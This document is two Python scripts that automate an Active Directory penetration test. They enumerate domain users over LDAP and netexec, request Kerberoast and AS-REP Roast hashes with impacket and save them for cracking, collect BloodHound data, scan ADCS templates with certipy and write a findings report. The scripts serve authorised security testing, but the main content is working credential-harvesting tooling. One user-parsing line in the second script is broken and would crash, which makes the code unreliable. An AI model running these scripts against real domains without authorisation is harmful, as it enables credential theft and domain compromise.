#!/usr/bin/env python3
"""Active Directory Penetration Test agent - automates AD enumeration using
ldap3 for LDAP queries, subprocess for impacket tools, and generates a
structured pentest findings report."""

import argparse
import json
import subprocess
import sys
from datetime import datetime
from pathlib import Path

try:
    from ldap3 import Server, Connection, ALL, SUBTREE
except ImportError:
    print("Install ldap3: pip install ldap3", file=sys.stderr)
    sys.exit(1)


def connect_ldap(server_url: str, username: str, password: str, use_ssl: bool = True) -> Connection:
    """Establish authenticated LDAP connection."""
    srv = Server(server_url, get_info=ALL, use_ssl=use_ssl)
    conn = Connection(srv, user=username, password=password, auto_bind=True)
    return conn


def get_domain_info(conn: Connection) -> dict:
    """Extract domain functional level and naming context."""
    info = conn.server.info
    return {
        "default_naming_context": info.other.get("defaultNamingContext", [""])[0],
        "forest_functionality": info.other.get("forestFunctionality", [""])[0],
        "domain_functionality": info.other.get("domainFunctionality", [""])[0],
    }


def enumerate_users(conn: Connection, base_dn: str) -> list[dict]:
    """Enumerate all domain users with security-relevant attributes."""
    conn.search(base_dn, "(&(objectClass=user)(objectCategory=person))",
                search_scope=SUBTREE,
                attributes=["sAMAccountName", "userAccountControl", "adminCount",
                             "pwdLastSet", "lastLogon", "servicePrincipalName",
                             "memberOf", "description"])
    users = []
    for entry in conn.entries:
        uac = int(str(entry.userAccountControl)) if hasattr(entry, "userAccountControl") else 0
        users.append({
            "username": str(entry.sAMAccountName),
            "admin_count": str(entry.adminCount) if hasattr(entry, "adminCount") else "0",
            "password_not_required": bool(uac & 0x0020),
            "password_never_expires": bool(uac & 0x10000),
            "account_disabled": bool(uac & 0x0002),
            "kerberos_preauth_not_required": bool(uac & 0x400000),
            "has_spn": bool(entry.servicePrincipalName),
            "description": str(entry.description) if hasattr(entry, "description") else "",
        })
    return users


def find_asrep_roastable(users: list[dict]) -> list[dict]:
    """Identify accounts vulnerable to AS-REP Roasting."""
    findings = []
    for user in users:
        if user["kerberos_preauth_not_required"] and not user["account_disabled"]:
            findings.append({
                "type": "asrep_roastable",
                "severity": "high",
                "account": user["username"],
                "detail": "Kerberos pre-authentication disabled - AS-REP Roasting possible",
            })
    return findings


def find_kerberoastable(users: list[dict]) -> list[dict]:
    """Identify accounts vulnerable to Kerberoasting."""
    findings = []
    for user in users:
        if user["has_spn"] and not user["account_disabled"]:
            findings.append({
                "type": "kerberoastable",
                "severity": "high",
                "account": user["username"],
                "detail": "User account with SPN set - Kerberoasting possible",
            })
    return findings


def check_password_policy(conn: Connection, base_dn: str) -> list[dict]:
    """Audit domain password policy."""
    conn.search(base_dn, "(objectClass=domain)", search_scope=SUBTREE,
                attributes=["minPwdLength", "lockoutThreshold", "pwdHistoryLength",
                             "maxPwdAge", "minPwdAge", "lockoutDuration"])
    findings = []
    if conn.entries:
        entry = conn.entries[0]
        min_len = int(str(entry.minPwdLength)) if hasattr(entry, "minPwdLength") else 0
        lockout = int(str(entry.lockoutThreshold)) if hasattr(entry, "lockoutThreshold") else 0
        if min_len < 12:
            findings.append({
                "type": "weak_password_policy",
                "severity": "high",
                "detail": f"Minimum password length is {min_len} (recommended: 12+)",
            })
        if lockout == 0:
            findings.append({
                "type": "no_account_lockout",
                "severity": "critical",
                "detail": "No account lockout policy - brute force attacks possible",
            })
    return findings


def run_impacket_getspns(dc_ip: str, domain: str, username: str, password: str) -> dict:
    """Run impacket GetUserSPNs for Kerberoasting."""
    cmd = ["python3", "-m", "impacket.examples.GetUserSPNs",
           f"{domain}/{username}:{password}", "-dc-ip", dc_ip, "-request"]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
        return {"success": True, "output": result.stdout[:5000], "errors": result.stderr[:1000]}
    except (subprocess.TimeoutExpired, FileNotFoundError) as e:
        return {"success": False, "error": str(e)}


def generate_report(server_url: str, username: str, password: str,
                    use_ssl: bool, dc_ip: str = None) -> dict:
    """Run full AD pentest enumeration and build report."""
    conn = connect_ldap(server_url, username, password, use_ssl)
    domain_info = get_domain_info(conn)
    base_dn = domain_info["default_naming_context"]

    users = enumerate_users(conn, base_dn)
    findings = []
    findings.extend(find_asrep_roastable(users))
    findings.extend(find_kerberoastable(users))
    findings.extend(check_password_policy(conn, base_dn))

    conn.unbind()

    from collections import Counter
    severity_counts = Counter(f["severity"] for f in findings)
    return {
        "report": "ad_penetration_test",
        "generated_at": datetime.utcnow().isoformat() + "Z",
        "domain_info": domain_info,
        "total_users": len(users),
        "total_findings": len(findings),
        "severity_summary": dict(severity_counts),
        "findings": findings,
    }


def main():
    parser = argparse.ArgumentParser(description="AD Penetration Test Agent")
    parser.add_argument("--server", required=True, help="LDAP server URL (ldaps://dc.example.com)")
    parser.add_argument("--username", required=True, help="Domain username (DOMAIN\\\\user)")
    parser.add_argument("--password", required=True, help="Password")
    parser.add_argument("--no-ssl", action="store_true", help="Disable SSL")
    parser.add_argument("--dc-ip", help="DC IP for impacket tools")
    parser.add_argument("--output", help="Output JSON file path")
    args = parser.parse_args()

    report = generate_report(args.server, args.username, args.password,
                             not args.no_ssl, args.dc_ip)
    output = json.dumps(report, indent=2)
    if args.output:
        Path(args.output).write_text(output, encoding="utf-8")
        print(f"Report written to {args.output}")
    else:
        print(output)


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
Active Directory Penetration Test — Automation Process

Automates AD enumeration, Kerberos attack setup, and reporting.
Requires: impacket, bloodhound-python, netexec, ldap3.

Usage:
    python process.py --domain corp.local --dc-ip 10.0.0.5 -u testuser -p Password123 --output ./results
"""

import subprocess
import json
import os
import argparse
import datetime
from pathlib import Path


def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
        return result.stdout, result.stderr, result.returncode
    except subprocess.TimeoutExpired:
        return "", f"Timed out after {timeout}s", -1
    except FileNotFoundError:
        return "", f"Not found: {cmd[0]}", -1


def enumerate_domain_users(domain: str, dc_ip: str, user: str, password: str,
                            output_dir: Path) -> list[str]:
    """Enumerate domain users via LDAP."""
    print("[*] Enumerating domain users...")
    stdout, stderr, rc = run_command(
        ["netexec", "smb", dc_ip, "-u", user, "-p", password, "-d", domain, "--users"]
    )
    users_file = output_dir / "domain_users.txt"
    users = []
    for line in stdout.splitlines():
        if "\\\\"-1 not in line and domain.split(".")[0].upper() in line.upper():
            parts = line.strip().split()
            for part in parts:
                if "\\" in part:
                    username = part.split("\\")[-1]
                    users.append(username)
    with open(users_file, "w") as f:
        f.write("\n".join(users))
    print(f"[+] Found {len(users)} domain users")
    return users


def get_spn_users(domain: str, dc_ip: str, user: str, password: str,
                   output_dir: Path) -> str:
    """Find Kerberoastable accounts."""
    print("[*] Finding Kerberoastable service accounts...")
    output_file = output_dir / "kerberoast_hashes.txt"
    stdout, stderr, rc = run_command(
        ["impacket-GetUserSPNs", f"{domain}/{user}:{password}",
         "-dc-ip", dc_ip, "-outputfile", str(output_file), "-request"]
    )
    if rc == 0:
        print(f"[+] Kerberoast hashes saved to {output_file}")
    else:
        print(f"[-] Kerberoasting: {stderr[:200]}")
    return str(output_file)


def get_asrep_users(domain: str, dc_ip: str, users_file: str,
                     output_dir: Path) -> str:
    """Find AS-REP Roastable accounts."""
    print("[*] Finding AS-REP Roastable accounts...")
    output_file = output_dir / "asrep_hashes.txt"
    stdout, stderr, rc = run_command(
        ["impacket-GetNPUsers", f"{domain}/", "-usersfile", users_file,
         "-dc-ip", dc_ip, "-outputfile", str(output_file), "-format", "hashcat"]
    )
    if rc == 0:
        print(f"[+] AS-REP hashes saved to {output_file}")
    return str(output_file)


def collect_bloodhound(domain: str, dc_ip: str, user: str, password: str,
                        output_dir: Path) -> None:
    """Run BloodHound data collection."""
    print("[*] Collecting BloodHound data...")
    stdout, stderr, rc = run_command(
        ["bloodhound-python", "-u", user, "-p", password,
         "-d", domain, "-ns", dc_ip, "-c", "all", "--zip"],
        timeout=600
    )
    if rc == 0:
        print("[+] BloodHound data collected")
    else:
        print(f"[-] BloodHound: {stderr[:200]}")


def check_adcs(domain: str, dc_ip: str, user: str, password: str,
                output_dir: Path) -> str:
    """Check for ADCS vulnerabilities."""
    print("[*] Checking ADCS for vulnerable templates...")
    output_file = output_dir / "adcs_findings.txt"
    stdout, stderr, rc = run_command(
        ["certipy", "find", "-u", f"{user}@{domain}", "-p", password,
         "-dc-ip", dc_ip, "-vulnerable", "-stdout"]
    )
    with open(output_file, "w") as f:
        f.write(stdout)
    if "ESC" in stdout:
        print("[+] Vulnerable ADCS templates found!")
    else:
        print("[*] No vulnerable ADCS templates detected")
    return str(output_file)


def generate_report(domain: str, output_dir: Path) -> str:
    """Generate AD pentest report."""
    print("[*] Generating report...")
    report_file = output_dir / "ad_pentest_report.md"
    timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")

    kerberoast_count = 0
    kf = output_dir / "kerberoast_hashes.txt"
    if kf.exists():
        with open(kf) as f:
            kerberoast_count = sum(1 for line in f if line.strip() and line.startswith("$krb5tgs$"))

    asrep_count = 0
    af = output_dir / "asrep_hashes.txt"
    if af.exists():
        with open(af) as f:
            asrep_count = sum(1 for line in f if line.strip() and line.startswith("$krb5asrep$"))

    with open(report_file, "w") as f:
        f.write(f"# Active Directory Penetration Test Report\n\n")
        f.write(f"**Domain:** {domain}\n")
        f.write(f"**Generated:** {timestamp}\n\n---\n\n")
        f.write("## Kerberos Attack Results\n\n")
        f.write(f"- Kerberoastable accounts: **{kerberoast_count}**\n")
        f.write(f"- AS-REP Roastable accounts: **{asrep_count}**\n\n")
        f.write("## Recommendations\n\n")
        f.write("1. Convert service accounts to Group Managed Service Accounts (gMSA)\n")
        f.write("2. Enforce 25+ character passwords for remaining SPNs\n")
        f.write("3. Enable Kerberos pre-authentication for all accounts\n")
        f.write("4. Audit and remediate ADCS template vulnerabilities\n")
        f.write("5. Implement tiered administration model\n")
        f.write("6. Deploy monitoring for DCSync and Golden Ticket attacks\n")

    print(f"[+] Report: {report_file}")
    return str(report_file)


def main():
    parser = argparse.ArgumentParser(description="AD Pentest Automation")
    parser.add_argument("--domain", required=True)
    parser.add_argument("--dc-ip", required=True)
    parser.add_argument("-u", "--username", required=True)
    parser.add_argument("-p", "--password", required=True)
    parser.add_argument("--output", default="./results")
    args = parser.parse_args()

    output_dir = Path(args.output)
    output_dir.mkdir(parents=True, exist_ok=True)

    print("=" * 60)
    print(f" AD Penetration Test — {args.domain}")
    print("=" * 60)

    users = enumerate_domain_users(args.domain, args.dc_ip, args.username, args.password, output_dir)
    users_file = str(output_dir / "domain_users.txt")

    get_spn_users(args.domain, args.dc_ip, args.username, args.password, output_dir)
    get_asrep_users(args.domain, args.dc_ip, users_file, output_dir)
    collect_bloodhound(args.domain, args.dc_ip, args.username, args.password, output_dir)
    check_adcs(args.domain, args.dc_ip, args.username, args.password, output_dir)
    generate_report(args.domain, output_dir)

    print("\n[+] AD pentest automation complete")


if __name__ == "__main__":
    main()